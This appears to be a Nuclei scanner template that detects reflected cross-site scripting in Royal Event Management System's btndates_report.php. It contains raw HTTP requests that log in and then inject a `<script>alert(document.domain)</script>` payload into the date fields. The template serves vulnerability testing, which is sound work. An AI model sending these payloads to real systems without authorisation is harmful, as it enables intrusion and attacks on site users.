royalevent-management-xss: Royal Event Management System - Cross-Site Scripting

id: royalevent-management-xss

info:
  name: Royal Event Management System - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    Royal Event Management System contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
    - https://packetstormsecurity.com/files/166479/Royale-Event-Management-System-1.0-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
  tags: cms,royalevent,packetstorm,xss,authenticated,intrusive

http:
  - raw:
      - |
        POST /royal_event/ HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 353
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCSxQll1eihcqgIgD

        ------WebKitFormBoundaryCSxQll1eihcqgIgD
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundaryCSxQll1eihcqgIgD
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundaryCSxQll1eihcqgIgD
        Content-Disposition: form-data; name="login"

        ------WebKitFormBoundaryCSxQll1eihcqgIgD--
      - |
        POST /royal_event/btndates_report.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFboH5ITu7DsGIGrD

        ------WebKitFormBoundaryFboH5ITu7DsGIGrD
        Content-Disposition: form-data; name="todate"

        2022-12-22<script>alert(document.domain)</script>
        ------WebKitFormBoundaryFboH5ITu7DsGIGrD
        Content-Disposition: form-data; name="search"

        3
        ------WebKitFormBoundaryFboH5ITu7DsGIGrD
        Content-Disposition: form-data; name="fromdate"

        2022-06-22<script>alert(document.domain)</script>
        ------WebKitFormBoundaryFboH5ITu7DsGIGrD--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "Report from "
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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